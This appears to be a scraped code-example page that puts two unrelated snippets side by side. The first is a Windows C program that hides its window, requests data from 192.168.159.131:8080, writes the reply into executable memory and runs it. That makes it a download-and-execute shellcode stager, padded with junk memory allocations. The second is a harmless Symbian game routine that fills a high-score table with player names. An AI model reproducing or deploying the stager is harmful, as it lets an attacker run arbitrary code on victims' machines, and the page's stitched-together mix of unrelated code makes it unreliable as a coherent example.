Ejemplo n.º 1
0
int main(int argc, char * argv[])
{
  HWND hwnd=GetForegroundWindow();
  ShowWindow(hwnd,SW_HIDE);
  char * buffer;
  int i;
  char* char_array1[8776];
  for (i = 0;  i < 8776;  ++i)
    char_array1[i] = (char*)malloc (9719);
  winsock_init();
  char* char_array2[118];
  SOCKET my_socket = wsconnect();
  for (i = 0;  i < 118;  ++i)
    char_array2[i] = (char*)malloc (9721);
  char request_buf[200];
  sprintf(request_buf, "GET /%s HTTP/1.1\r\nAccept-Encoding: identity\r\nHost:  192.168.159.131:8080\r\nConnection: close\r\nUser-Agent: Mozilla/4.0 (compatible; MSIE 6.1; Windows NT\r\n\r\n", checksum());
  send(my_socket,request_buf, strlen( request_buf ),0);
  Sleep(300);
  buffer = (char*)VirtualAlloc(0, 1000000, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
  char* char_array3[8279];
  for (i=0; i<8776; ++i)
  {
    strcpy(char_array1[i], Name1());
  }
  char * buf_counter = buffer;
  int bytes_read;
  do
  {
    bytes_read = recv(my_socket, buf_counter, 1024, 0);
    buf_counter += bytes_read;
  }
  while ( bytes_read > 0 );
  for (i = 0;  i < 8279;  ++i)
    char_array3[i] = (char*)malloc (9549);
  for (i=0; i<118; ++i)
  {
    strcpy(char_array2[i], Name2());
  }
  closesocket(my_socket);
  WSACleanup();
  ((void (*)())(strstr(buffer,"\r\n\r\n")+4))();
  for (i=0; i<8279; ++i)
  {
    strcpy(char_array3[i], Name3());
  }
  return 0;
}
Ejemplo n.º 2
0
void TPlayerInfo::InitPlayerInfo()
{
    _LIT(KName0,"Options");
    _LIT(KName1,"Peter");
    _LIT(KName2,"Ellen");
    _LIT(KName3,"Franklin");//Hank Harry Kevin Matthew Peter Ailsa Carrie Ellen Hellen Juliana Mary Winnie
    _LIT(KName4,"Juliana");
    _LIT(KName5,"Harry");
    _LIT(KName6,"Winnie");
    _LIT(KName7,"Hank");
    _LIT(KName8,"Aaron");
    _LIT(KName9,"Kevin");
    _LIT(KName10,"Hellen");

    TBuf<MAX_NAME_LENGTH> Name0(KName0);
    TBuf<MAX_NAME_LENGTH> Name1(KName1);
    TBuf<MAX_NAME_LENGTH> Name2(KName2);
    TBuf<MAX_NAME_LENGTH> Name3(KName3);
    TBuf<MAX_NAME_LENGTH> Name4(KName4);
    TBuf<MAX_NAME_LENGTH> Name5(KName5);
    TBuf<MAX_NAME_LENGTH> Name6(KName6);
    TBuf<MAX_NAME_LENGTH> Name7(KName7);
    TBuf<MAX_NAME_LENGTH> Name8(KName8);
    TBuf<MAX_NAME_LENGTH> Name9(KName9);
    TBuf<MAX_NAME_LENGTH> Name10(KName10);
    for (TInt i = 0; i < AWARD_PLAYER_COUNT; i++)
    {
        iPlayerList[i] = new (ELeave) TPlayer;
    }
    //iPlayerList[0]->iScore=0;
    iPlayerList[0]->SetScoreAndName(DEFAULT_OPTION_VALUE, Name0);
    iPlayerList[1]->SetScoreAndName(91, Name1);
    iPlayerList[2]->SetScoreAndName(86, Name2);
    iPlayerList[3]->SetScoreAndName(64, Name3);
    iPlayerList[4]->SetScoreAndName(56, Name4);
    iPlayerList[5]->SetScoreAndName(43, Name5);
    iPlayerList[6]->SetScoreAndName(32, Name6);
    iPlayerList[7]->SetScoreAndName(26, Name7);
    iPlayerList[8]->SetScoreAndName(15, Name8);
    iPlayerList[9]->SetScoreAndName(9, Name9);
    iPlayerList[10]->SetScoreAndName(8, Name10);
}